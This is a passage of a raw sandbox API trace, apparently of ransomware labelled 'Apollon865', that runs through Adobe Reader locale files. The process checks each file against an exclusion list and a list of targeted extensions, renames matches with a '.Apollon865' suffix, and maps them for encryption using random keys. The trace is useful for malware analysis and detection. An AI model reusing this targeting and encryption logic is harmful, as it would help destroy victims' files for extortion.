	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.869] lstrlenW (lpString="accdb") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accdb") returned 1
	[0059.869] lstrlenW (lpString="accdc") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accdc") returned 1
	[0059.869] lstrlenW (lpString="accde") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accde") returned 1
	[0059.869] lstrlenW (lpString="accdr") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accdr") returned 1
	[0059.869] lstrlenW (lpString="accdt") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accdt") returned 1
	[0059.869] lstrlenW (lpString="accdw") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accdw") returned 1
	[0059.869] lstrlenW (lpString="accft") returned 5
	[0059.869] lstrcmpiW (lpString1="F.CAT", lpString2="accft") returned 1
	[0059.869] lstrlenW (lpString="adb") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.869] lstrlenW (lpString="adb") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.870] lstrlenW (lpString="ade") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.870] lstrlenW (lpString="adf") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.870] lstrlenW (lpString="adn") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.870] lstrlenW (lpString="adp") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.870] lstrlenW (lpString="alf") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.870] lstrlenW (lpString="ask") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.870] lstrlenW (lpString="btr") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.870] lstrlenW (lpString="cat") returned 3
	[0059.870] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.870] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT.Apollon865") returned 85
	[0059.870] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.873] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=19456) returned 1
	[0059.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.874] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.874] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.874] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.875] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f00, lpName=0x0) returned 0x154
	[0059.876] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f00) returned 0x120000
	[0059.877] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.878] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.878] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.879] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.879] CloseHandle (hObject=0x154) returned 1
	[0059.879] CloseHandle (hObject=0x15c) returned 1
	[0059.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.879] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search.CAT", cAlternateFileName="")) returned 1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2=".") returned 1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="..") returned 1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="windows") returned -1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="bootmgr") returned 1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="temp") returned -1
	[0059.879] lstrcmpiW (lpString1="Search.CAT", lpString2="pagefile.sys") returned 1
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2="boot") returned 1
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2="ids.txt") returned 1
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2="ntuser.dat") returned 1
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2="perflogs") returned 1
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2="MSBuild") returned 1
	[0059.880] lstrlenW (lpString="Search.CAT") returned 10
	[0059.880] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT") returned 74
	[0059.880] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Search.CAT" | out: lpString1="Search.CAT") returned="Search.CAT"
	[0059.880] lstrlenW (lpString="Search.CAT") returned 10
	[0059.880] lstrlenW (lpString="Apollon865") returned 10
	[0059.880] lstrlenW (lpString=".dll") returned 4
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2=".dll") returned 1
	[0059.880] lstrlenW (lpString=".lnk") returned 4
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2=".lnk") returned 1
	[0059.880] lstrlenW (lpString=".ini") returned 4
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2=".ini") returned 1
	[0059.880] lstrlenW (lpString=".sys") returned 4
	[0059.880] lstrcmpiW (lpString1="Search.CAT", lpString2=".sys") returned 1
	[0059.880] lstrlenW (lpString="Search.CAT") returned 10
	[0059.880] lstrlenW (lpString="bak") returned 3
	[0059.880] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.880] lstrlenW (lpString="ba_") returned 3
	[0059.880] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.880] lstrlenW (lpString="dbb") returned 3
	[0059.880] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.880] lstrlenW (lpString="vmdk") returned 4
	[0059.880] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.880] lstrlenW (lpString="rar") returned 3
	[0059.880] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.880] lstrlenW (lpString="zip") returned 3
	[0059.880] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.880] lstrlenW (lpString="tgz") returned 3
	[0059.880] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.880] lstrlenW (lpString="vbox") returned 4
	[0059.880] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.881] lstrlenW (lpString="vdi") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.881] lstrlenW (lpString="vhd") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.881] lstrlenW (lpString="vhdx") returned 4
	[0059.881] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.881] lstrlenW (lpString="avhd") returned 4
	[0059.881] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.881] lstrlenW (lpString="db") returned 2
	[0059.881] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.881] lstrlenW (lpString="db2") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.881] lstrlenW (lpString="db3") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.881] lstrlenW (lpString="dbf") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.881] lstrlenW (lpString="mdf") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.881] lstrlenW (lpString="mdb") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.881] lstrlenW (lpString="sql") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.881] lstrlenW (lpString="sqlite") returned 6
	[0059.881] lstrcmpiW (lpString1="ch.CAT", lpString2="sqlite") returned -1
	[0059.881] lstrlenW (lpString="sqlite3") returned 7
	[0059.881] lstrcmpiW (lpString1="rch.CAT", lpString2="sqlite3") returned -1
	[0059.881] lstrlenW (lpString="sqlitedb") returned 8
	[0059.881] lstrcmpiW (lpString1="arch.CAT", lpString2="sqlitedb") returned -1
	[0059.881] lstrlenW (lpString="xml") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.881] lstrlenW (lpString="$er") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.881] lstrlenW (lpString="4dd") returned 3
	[0059.881] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.881] lstrlenW (lpString="4dl") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.882] lstrlenW (lpString="^^^") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.882] lstrlenW (lpString="abs") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.882] lstrlenW (lpString="abx") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.882] lstrlenW (lpString="accdb") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accdb") returned 1
	[0059.882] lstrlenW (lpString="accdc") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accdc") returned 1
	[0059.882] lstrlenW (lpString="accde") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accde") returned 1
	[0059.882] lstrlenW (lpString="accdr") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accdr") returned 1
	[0059.882] lstrlenW (lpString="accdt") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accdt") returned 1
	[0059.882] lstrlenW (lpString="accdw") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accdw") returned 1
	[0059.882] lstrlenW (lpString="accft") returned 5
	[0059.882] lstrcmpiW (lpString1="h.CAT", lpString2="accft") returned 1
	[0059.882] lstrlenW (lpString="adb") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.882] lstrlenW (lpString="adb") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.882] lstrlenW (lpString="ade") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.882] lstrlenW (lpString="adf") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.882] lstrlenW (lpString="adn") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.882] lstrlenW (lpString="adp") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.882] lstrlenW (lpString="alf") returned 3
	[0059.882] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.883] lstrlenW (lpString="ask") returned 3
	[0059.883] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.883] lstrlenW (lpString="btr") returned 3
	[0059.883] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.883] lstrlenW (lpString="cat") returned 3
	[0059.883] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.883] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT.Apollon865") returned 82
	[0059.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.884] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=24576) returned 1
	[0059.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.885] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.886] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.886] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.886] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6300, lpName=0x0) returned 0x154
	[0059.887] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6300) returned 0x120000
	[0059.889] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.894] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.894] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.895] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.897] CloseHandle (hObject=0x154) returned 1
	[0059.897] CloseHandle (hObject=0x15c) returned 1
	[0059.897] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.897] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.897] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.898] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2=".") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="..") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="windows") returned -1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="bootmgr") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="temp") returned -1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="pagefile.sys") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="boot") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="ids.txt") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="ntuser.dat") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="perflogs") returned 1
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2="MSBuild") returned 1
	[0059.898] lstrlenW (lpString="SendMail.CAT") returned 12
	[0059.898] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT") returned 71
	[0059.898] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="SendMail.CAT" | out: lpString1="SendMail.CAT") returned="SendMail.CAT"
	[0059.898] lstrlenW (lpString="SendMail.CAT") returned 12
	[0059.898] lstrlenW (lpString="Apollon865") returned 10
	[0059.898] lstrcmpiW (lpString1="ndMail.CAT", lpString2="Apollon865") returned 1
	[0059.898] lstrlenW (lpString=".dll") returned 4
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2=".dll") returned 1
	[0059.898] lstrlenW (lpString=".lnk") returned 4
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2=".lnk") returned 1
	[0059.898] lstrlenW (lpString=".ini") returned 4
	[0059.898] lstrcmpiW (lpString1="SendMail.CAT", lpString2=".ini") returned 1
	[0059.898] lstrlenW (lpString=".sys") returned 4
	[0059.899] lstrcmpiW (lpString1="SendMail.CAT", lpString2=".sys") returned 1
	[0059.899] lstrlenW (lpString="SendMail.CAT") returned 12
	[0059.899] lstrlenW (lpString="bak") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.899] lstrlenW (lpString="ba_") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.899] lstrlenW (lpString="dbb") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.899] lstrlenW (lpString="vmdk") returned 4
	[0059.899] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.899] lstrlenW (lpString="rar") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.899] lstrlenW (lpString="zip") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.899] lstrlenW (lpString="tgz") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.899] lstrlenW (lpString="vbox") returned 4
	[0059.899] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.899] lstrlenW (lpString="vdi") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.899] lstrlenW (lpString="vhd") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.899] lstrlenW (lpString="vhdx") returned 4
	[0059.899] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.899] lstrlenW (lpString="avhd") returned 4
	[0059.899] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.899] lstrlenW (lpString="db") returned 2
	[0059.899] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.899] lstrlenW (lpString="db2") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.899] lstrlenW (lpString="db3") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.899] lstrlenW (lpString="dbf") returned 3
	[0059.899] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.899] lstrlenW (lpString="mdf") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.900] lstrlenW (lpString="mdb") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.900] lstrlenW (lpString="sql") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.900] lstrlenW (lpString="sqlite") returned 6
	[0059.900] lstrcmpiW (lpString1="il.CAT", lpString2="sqlite") returned -1
	[0059.900] lstrlenW (lpString="sqlite3") returned 7
	[0059.900] lstrcmpiW (lpString1="ail.CAT", lpString2="sqlite3") returned -1
	[0059.900] lstrlenW (lpString="sqlitedb") returned 8
	[0059.900] lstrcmpiW (lpString1="Mail.CAT", lpString2="sqlitedb") returned -1
	[0059.900] lstrlenW (lpString="xml") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.900] lstrlenW (lpString="$er") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.900] lstrlenW (lpString="4dd") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.900] lstrlenW (lpString="4dl") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.900] lstrlenW (lpString="^^^") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.900] lstrlenW (lpString="abs") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.900] lstrlenW (lpString="abx") returned 3
	[0059.900] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.900] lstrlenW (lpString="accdb") returned 5
	[0059.900] lstrcmpiW (lpString1="l.CAT", lpString2="accdb") returned 1
	[0059.900] lstrlenW (lpString="accdc") returned 5
	[0059.900] lstrcmpiW (lpString1="l.CAT", lpString2="accdc") returned 1
	[0059.900] lstrlenW (lpString="accde") returned 5
	[0059.900] lstrcmpiW (lpString1="l.CAT", lpString2="accde") returned 1
	[0059.900] lstrlenW (lpString="accdr") returned 5
	[0059.900] lstrcmpiW (lpString1="l.CAT", lpString2="accdr") returned 1
	[0059.900] lstrlenW (lpString="accdt") returned 5
	[0059.900] lstrcmpiW (lpString1="l.CAT", lpString2="accdt") returned 1
	[0059.900] lstrlenW (lpString="accdw") returned 5
	[0059.901] lstrcmpiW (lpString1="l.CAT", lpString2="accdw") returned 1
	[0059.901] lstrlenW (lpString="accft") returned 5
	[0059.901] lstrcmpiW (lpString1="l.CAT", lpString2="accft") returned 1
	[0059.901] lstrlenW (lpString="adb") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.901] lstrlenW (lpString="adb") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.901] lstrlenW (lpString="ade") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.901] lstrlenW (lpString="adf") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.901] lstrlenW (lpString="adn") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.901] lstrlenW (lpString="adp") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.901] lstrlenW (lpString="alf") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.901] lstrlenW (lpString="ask") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.901] lstrlenW (lpString="btr") returned 3
	[0059.901] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
